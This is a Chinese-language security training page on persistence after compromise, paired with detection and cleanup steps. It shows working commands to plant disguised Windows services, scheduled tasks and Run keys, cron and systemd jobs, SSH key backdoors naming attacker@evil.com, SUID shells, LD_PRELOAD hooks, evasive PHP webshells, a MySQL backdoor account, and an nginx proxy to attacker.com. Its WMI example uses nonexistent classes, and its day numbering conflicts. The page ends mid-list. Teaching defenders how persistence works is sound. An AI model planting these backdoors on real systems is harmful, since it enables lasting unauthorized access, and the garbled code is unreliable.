公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-207-渗透测试中的权限维持技术
# Day 230: 渗透测试中的权限维持技术 > 渗透测试系列第 20 天 | 预计阅读时间:25 分钟 | 难度:★★★★☆ --- ## 清单 目录 1. [权限维持概述](#权限维持概述) 2. [持久化机制分类](#持久化机制分类) 3. [Windows 权限维持技术](#windows-权限维持技术) 4. [Linux 权限维持技术](#linux-权限维持技术) 5. [Web 应用权限维持](#web-应用权限维持) 6. [检测与清除方法](#检测与清除方法) 7. [实战案例](#实战案例) 8. [最佳实践与防御建议](#最佳实践与防御建议) 9. [总结与思考](#总结与思考) 10. [参考资料](#参考资料) --- ## 权限维持概述 ### 什么是权限维持 权限维持(Persistence)是渗透测试和攻击链中的关键阶段,指攻击者在成功入侵系统后,通过各种技术手段确保能够持续、稳定地访问目标系统,即使系统重启、密码更改或漏洞被修复。 ### 为什么需要权限维持 在真实的渗透测试场景中,我观察到以下几个原因使得权限维持成为必要: 1. **访问窗口有限**: 初始漏洞可能随时被修复 2. **密码可能更改**: 用户或管理员可能定期更换凭证 3. **系统可能重启**: 内存中的后门会丢失 4. **需要长期监控**: 红队演练需要持续访问以模拟 APT 5. **横向移动需求**: 需要稳定的跳板机进行内网渗透 ### 权限维持的生命周期 ``` 初始访问 → 权限提升 → 权限维持 → 横向移动 → 数据 exfiltration ↑ 本阶段重点 ``` ### 权限维持的核心原则 | 原则 | 说明 | |------|------| | **隐蔽性** | 避免被安全软件和日志检测 | | **稳定性** | 系统重启后仍能正常工作 | | **冗余性** | 部署多种维持方式互为备份 | | **最小权限** | 使用满足需求的最低权限 | | **可清理性** | 测试结束后能完全清除 | --- ## 持久化机制分类 ### 按持久化位置分类 ``` ┌─────────────────────────────────────────────────────────┐ │ 持久化机制分类 │ ├──────────────┬──────────────┬───────────────────────────┤ │ 文件系统 │ 注册表 │ 系统配置 │ ├──────────────┼──────────────┼───────────────────────────┤ │ • 启动脚本 │ • Run 键值 │ • 计划任务 │ │ • 动态链接库 │ • 服务项 │ • WMI 订阅 │ │ • 快捷方式 │ • 浏览器扩展 │ • 系统服务 │ │ • 镜像加载 │ • COM 劫持 │ • 启动文件夹 │ └──────────────┴──────────────┴───────────────────────────┘ ``` ### 按触发条件分类 | 触发类型 | 描述 | 示例 | |----------|------|------| | **启动触发** | 系统启动时自动执行 | 注册表 Run 键、启动文件夹 | | **登录触发** | 用户登录时执行 | Logon Script、组策略 | | **事件触发** | 特定事件发生时执行 | WMI 事件订阅、计划任务 | | **持续运行** | 始终在后台运行 | 系统服务、守护进程 | ### 按权限级别分类 - **系统级持久化**: 需要 SYSTEM/root 权限,影响所有用户 - **用户级持久化**: 普通用户权限即可,仅影响当前用户 - **内核级持久化**: 需要驱动级权限,最难检测和清除 --- ## Windows 权限维持技术 ### 1. 注册表 Run 键值 这是最常见的 Windows 持久化方式之一。 #### 常用注册表路径 ```registry # 当前用户自启动 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce # 所有用户自启动 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce # 64 位系统额外路径 HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run ``` #### 添加持久化项(PowerShell) ```powershell # 添加当前用户自启动项 New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "SecurityUpdate" ` -Value "C:\Users\Public\update.exe" ` -PropertyType String -Force # 添加系统级自启动项(需要管理员权限) New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "SystemService" ` -Value "C:\Windows\System32\svchost.exe -k netsvcs" ` -PropertyType String -Force ``` #### 检测与清除 ```powershell # 枚举所有 Run 键值 Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" # 删除可疑项 Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "SecurityUpdate" -Force ``` ### 2. Windows 服务 创建系统服务是获取高权限持久化的有效方式。 #### 创建服务(PowerShell) ```powershell # 使用 sc 命令创建服务 sc create "SecurityService" ` binPath= "C:\Users\Public\service.exe" ` start= auto ` DisplayName= "Windows Security Service" # 设置服务描述 sc description "SecurityService" "Windows 安全更新服务" # 启动服务 sc start "SecurityService" ``` #### 使用 PowerShell 创建服务 ```powershell # 使用 New-Service cmdlet New-Service -Name "SecurityService" ` -BinaryPathName "C:\Users\Public\service.exe" ` -DisplayName "Windows Security Service" ` -Description "Windows 安全更新服务" ` -StartupType Automatic # 启动服务 Start-Service -Name "SecurityService" ``` #### 服务权限维持的优势 | 优势 | 说明 | |------|------| | **高权限** | 服务通常以 SYSTEM 权限运行 | | **自动启动** | 系统启动时自动运行 | | **隐蔽性好** | 混入正常服务中不易发现 | | **稳定性高** | 服务崩溃后可自动重启 | #### 检测可疑服务 ```powershell # 列出所有服务 Get-Service | Select-Object Name, DisplayName, Status, StartType # 查找可疑服务特征 Get-Service | Where-Object { $_.DisplayName -match "update|security|patch" -or $_.Name -match "^[a-z]{8}$" # 随机名称 } # 检查服务二进制路径 Get-WmiObject -Class Win32_Service | Select-Object Name, PathName, StartMode, State ``` ### 3. 计划任务 Windows 计划任务(Task Scheduler)是功能强大的持久化机制。 #### 创建计划任务 ```powershell # 基本计划任务 - 系统启动时运行 $action = New-ScheduledTaskAction -Execute "C:\Users\Public\maintain.exe" $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest Register-ScheduledTask -TaskName "SystemMaintenance" ` -Action $action -Trigger $trigger -Principal $principal # 用户登录时运行 $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName "UserMaintenance" ` -Action $action -Trigger $trigger # 定时执行(每 30 分钟) $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) ` -RepetitionInterval (New-TimeSpan -Minutes 30) ` -RepetitionDuration ([TimeSpan]::MaxValue) Register-ScheduledTask -TaskName "PeriodicCheck" ` -Action $action -Trigger $trigger ``` #### 使用 schtasks 命令 ```cmd :: 创建系统启动任务 schtasks /create /tn "SystemMaintenance" /tr "C:\Users\Public\maintain.exe" ` /sc onstart /ru SYSTEM /rl HIGHEST /f :: 创建用户登录任务 schtasks /create /tn "UserMaintenance" /tr "C:\Users\Public\maintain.exe" ` /sc onlogon /ru %USERNAME% /f :: 创建定时任务(每天凌晨 2 点) schtasks /create /tn "DailyCheck" /tr "C:\Users\Public\maintain.exe" ` /sc daily /st 02:00 /f ``` #### 检测计划任务 ```powershell # 列出所有计划任务 Get-ScheduledTask | Select-Object TaskName, State, LastRunTime # 查找可疑任务 Get-ScheduledTask | Where-Object { $_.Actions.Execute -match "Users\\Public|Temp|AppData" } # 导出任务详细信息 Get-ScheduledTask -TaskName "SystemMaintenance" | Export-ScheduledTask -OutPath "C:\temp\task.xml" ``` ### 4. WMI 事件订阅 WMI(Windows Management Instrumentation)事件订阅是高级持久化技术,难以检测。 #### WMI 持久化原理 ``` ┌─────────────────────────────────────────────────────────┐ │ WMI 事件订阅持久化流程 │ ├─────────────────────────────────────────────────────────┤ │ 1. 创建事件过滤器 (EventFilter) │ │ 定义触发条件(如进程创建、时间间隔等) │ │ │ │ 2. 创建事件消费者 (EventConsumer) │ │ 定义触发后执行的操作(如运行程序) │ │ │ │ 3. 创建过滤器到消费者的绑定 (FilterToConsumerBinding) │ │ 将过滤器和消费者关联起来 │ └─────────────────────────────────────────────────────────┘ ``` #### 创建 WMI 持久化(PowerShell) ```powershell # 1. 创建事件过滤器 - 每 5 分钟触发一次 $filterName = "WindowsUpdateFilter" $query = "SELECT * FROM __IntervalEventInvocation WHERE Interval = 300" Set-WmiInstance -Namespace "root\subscription" ` -Class __IntervalEventInstruction ` -Arguments @{ EventNamespace = "root\cimv2" Name = $filterName Query = $query QueryLanguage = "WQL" } # 2. 创建事件消费者 - 执行恶意程序 $consumerName = "UpdateConsumer" Set-WmiInstance -Namespace "root\subscription" ` -Class CommandLineEventConsumer ` -Arguments @{ Name = $consumerName CommandLineTemplate = "C:\Users\Public\maintain.exe" ExecutablePath = "C:\Users\Public\" } # 3. 创建绑定 Set-WmiInstance -Namespace "root\subscription" ` -Class __FilterToConsumerBinding ` -Arguments @{ Filter = [Ref] (Get-WmiObject -Namespace "root\subscription" ` -Class __IntervalEventInstruction -Filter "Name='$filterName'") Consumer = [Ref] (Get-WmiObject -Namespace "root\subscription" ` -Class CommandLineEventConsumer -Filter "Name='$consumerName'") } ``` #### 检测 WMI 持久化 ```powershell # 列出所有事件订阅 Get-WmiObject -Namespace "root\subscription" -Class __EventFilter Get-WmiObject -Namespace "root\subscription" -Class __EventConsumer Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding # 使用 Autoruns 工具检测 # 下载:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns # 检查 WMI 标签页 ``` #### 清除 WMI 持久化 ```powershell # 删除事件订阅 Get-WmiObject -Namespace "root\subscription" ` -Class __FilterToConsumerBinding | Remove-WmiObject Get-WmiObject -Namespace "root\subscription" ` -Class CommandLineEventConsumer | Remove-WmiObject Get-WmiObject -Namespace "root\subscription" ` -Class __IntervalEventInstruction | Remove-WmiObject ``` ### 5. 启动文件夹 #### 启动文件夹路径 ``` # 当前用户启动文件夹 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup # 所有用户启动文件夹 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup ``` #### 添加启动项 ```powershell # 创建快捷方式 $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut( "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk") $Shortcut.TargetPath = "C:\Users\Public\maintain.exe" $Shortcut.WorkingDirectory = "C:\Users\Public" $Shortcut.Description = "System Update" $Shortcut.Save() ``` ### 6. DLL 劫持 #### 原理 Windows 程序加载 DLL 时,会按照特定顺序搜索目录。攻击者可以将恶意 DLL 放置在优先搜索路径中。 #### DLL 搜索顺序 ``` 1. 程序所在目录 2. 系统目录 (System32) 3. 16 位系统目录 4. Windows 目录 5. 当前工作目录 6. PATH 环境变量中的目录 ``` #### 常见被劫持的 DLL | DLL 名称 | 常被劫持的程序 | |----------|----------------| | `version.dll` | 多种系统程序 | | `wininet.dll` | 网络相关程序 | | `cryptbase.dll` | 加密相关程序 | | `propsys.dll` | 资源管理器 | ### 7. COM 劫持 #### 原理 COM(Component Object Model)劫持通过修改注册表中 COM 对象的 CLSID 映射,将合法 COM 调用重定向到恶意代码。 #### 检测 COM 劫持 ```powershell # 列出所有 COM 对象 Get-ItemProperty -Path "HKLM:\Software\Classes\CLSID\*" | Select-Object PSChildName, "(Default)" # 检查 InProcServer32 Get-ItemProperty -Path "HKLM:\Software\Classes\CLSID\*\InProcServer32" | Select-Object PSChildName, "(Default)" ``` --- ## Linux 权限维持技术 ### 1. crontab 计划任务 #### 添加持久化任务 ```bash # 编辑当前用户的 crontab crontab -e # 添加以下行 # 每分钟执行一次 * * * * * /tmp/.hidden/maintain.sh # 系统启动时执行 @reboot /tmp/.hidden/maintain.sh # 每天凌晨 2 点执行 0 2 * * * /tmp/.hidden/maintain.sh # 查看 crontab crontab -l ``` #### 系统级 crontab ```bash # 编辑系统 crontab sudo vim /etc/crontab # 添加定时任务目录 sudo mkdir -p /etc/cron.d/ sudo echo "* * * * * root /tmp/.hidden/maintain.sh" > /etc/cron.d/system-update # 检测可疑 crontab sudo grep -r "maintain\|backdoor\|reverse" /etc/cron* /var/spool/cron/ ``` ### 2. systemd 服务 #### 创建持久化服务 ```bash # 创建服务文件 sudo vim /etc/systemd/system/security-update.service # 服务内容 [Unit] Description=Security Update Service After=network.target [Service] Type=simple ExecStart=/usr/local/bin/maintain.sh Restart=always RestartSec=10 User=root [Install] WantedBy=multi-user.target # 启用并启动服务 sudo systemctl daemon-reload sudo systemctl enable security-update.service sudo systemctl start security-update.service # 检查服务状态 sudo systemctl status security-update.service ``` #### 检测可疑服务 ```bash # 列出所有启用的服务 systemctl list-unit-files --type=service --state=enabled # 查找可疑服务 systemctl list-unit-files | grep -E "update|security|patch|maintain" # 检查服务文件内容 ls -la /etc/systemd/system/ cat /etc/systemd/system/*.service ``` ### 3. SSH 后门 #### Authorized Keys 后门 ```bash # 添加攻击者 SSH 公钥 echo "ssh-rsa AAAA... attacker@evil.com" >> ~/.ssh/authorized_keys # 系统级后门 echo "ssh-rsa AAAA... attacker@evil.com" >> /root/.ssh/authorized_keys # 检测 cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys grep -r "attacker\|evil" /home/*/.ssh/authorized_keys ``` #### SSH 配置后门 ```bash # 修改 sshd_config sudo vim /etc/ssh/sshd_config # 添加后门配置 PermitRootLogin yes PasswordAuthentication yes PermitEmptyPasswords yes # 重启 SSH 服务 sudo systemctl restart sshd ``` ### 4. .bashrc / .profile 后门 ```bash # 在 .bashrc 中添加 echo "/tmp/.hidden/maintain.sh &" >> ~/.bashrc echo "/tmp/.hidden/maintain.sh &" >> ~/.profile # 检测 grep -E "\.sh$|maintain|backdoor" ~/.bashrc ~/.profile /etc/profile /etc/bash.bashrc ``` ### 5. LD_PRELOAD 劫持 #### 原理 通过设置 LD_PRELOAD 环境变量,可以在程序加载时优先加载恶意共享库。 #### 持久化方法 ```bash # 添加到 /etc/ld.so.preload echo "/tmp/.hidden/malicious.so" | sudo tee -a /etc/ld.so.preload # 添加到环境变量 echo "export LD_PRELOAD=/tmp/.hidden/malicious.so" >> /etc/profile # 检测 cat /etc/ld.so.preload echo $LD_PRELOAD ldd /bin/ls # 检查异常依赖 ``` ### 6. SUID/SGID 后门 ```bash # 给 bash 设置 SUID 位(危险!) sudo cp /bin/bash /tmp/.hidden/bash sudo chmod u+s /tmp/.hidden/bash # 攻击者可以获取 root shell /tmp/.hidden/bash -p # 检测 SUID 文件 find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null # 查找可疑 SUID 文件 find /tmp /var/tmp /home -perm -4000 -type f 2>/dev/null ``` ### 7. 内核模块后门 #### 加载恶意内核模块 ```bash # 编译并加载内核模块 sudo insmod backdoor.ko # 持久化(添加到 /etc/modules) echo "backdoor" | sudo tee -a /etc/modules # 检测已加载模块 lsmod cat /proc/modules # 检测内核模块签名 modverify -v ``` --- ## Web 应用权限维持 ### 1. Web Shell #### 常见 Web Shell 类型 ```php <?php // 简单 PHP Web Shell @eval($_POST['cmd']); ?> <?php // 免杀 Web Shell $func = create_function('', $_POST['c']); $func(); ?> <?php // 使用回调函数 array_map('ass'.'ert', array($_POST['c'])); ?> ``` #### Web Shell 检测 ```bash # 查找可疑 PHP 文件 find /var/www -name "*.php" -exec grep -l "eval\|assert\|system\|exec" {} \; # 查找最近修改的 PHP 文件 find /var/www -name "*.php" -mtime -7 # 使用工具检测 # - WebShell Detector # - PHP-Scan # - 河马 WebShell 查杀 ``` ### 2. 数据库后门 #### MySQL 后门 ```sql -- 创建后门账户 CREATE USER 'backdoor'@'%' IDENTIFIED BY 'password123'; GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%'; -- 创建触发器后门 DELIMITER $$ CREATE TRIGGER maintain_trigger AFTER INSERT ON users FOR EACH ROW BEGIN SELECT sys_exec('/tmp/maintain.sh'); END$$ DELIMITER ; -- 检测 SELECT user, host FROM mysql.user; SHOW TRIGGERS; ``` ### 3. 中间件后门 #### Tomcat 后门 ```xml <!-- 修改 web.xml 添加恶意 Servlet --> <servlet> <servlet-name>UpdateServlet</servlet-name> <servlet-class>com.malicious.UpdateServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>UpdateServlet</servlet-name> <url-pattern>/update</url-pattern> </servlet-mapping> ``` #### Nginx 后门 ```nginx # 在 nginx.conf 中添加 location /maintain { proxy_pass http://attacker.com:8080; } ``` --- ## 检测与清除方法 ### Windows 检测工具 | 工具 | 用途 | 下载链接 | |------|------|----------| | **Autoruns** | 检测所有自启动项 | Sysinternals | | **Process Explorer** | 检测可疑进程 | Sysinternals | | **Process Monitor** | 监控系统活动 | Sysinternals | | **Ghidra** | 逆向分析恶意软件 | NSA | | **YARA** | 恶意软件特征匹配 | VirusTotal | ### Linux 检测工具 | 工具 | 用途 | |------|------| | **rkhunter** | Rootkit 检测 | | **chkrootkit** | Rootkit 检测 | | **Lynis** | 安全审计 | | **AIDE** | 文件完整性监控 | | **OSQuery** | 系统查询 | ### 通用检测方法 #### 1. 基线对比 ```powershell # Windows: 导出当前配置作为基线 Get-ScheduledTask | Export-Clixml baseline_tasks.xml Get-Service | Export-Clixml baseline_services.xml Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run | Export-Clixml baseline_run.xml # 后续对比 $current = Get-ScheduledTask $baseline = Import-Clixml baseline_tasks.xml Compare-Object $current $baseline ``` #### 2. 日志分析 ```powershell # Windows: 检查安全日志 Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 100 # 检查系统日志中的异常 Get-WinEvent -FilterHashtable @{LogName='System'; Level=2,3} -MaxEvents 50 # Linux: 检查认证日志 sudo grep -E "Failed|Invalid|error" /var/log/auth.log sudo grep -E "sudo" /var/log/auth.log ``` #### 3. 网络监控 ```bash # 检查异常网络连接 netstat -antp | grep ESTABLISHED ss -antp | grep ESTABLISHED # 检查监听端口 netstat -lnpt ss -lnpt # 检查异常进程 ps auxf | grep -E "maintain|backdoor|hidden" ``` ### 清除步骤 ``` 1. 识别所有持久化机制 ↓ 2. 备份当前系统状态 ↓ 3. 终止恶意进程 ↓ 4. 删除持久化配置 ↓ 5. 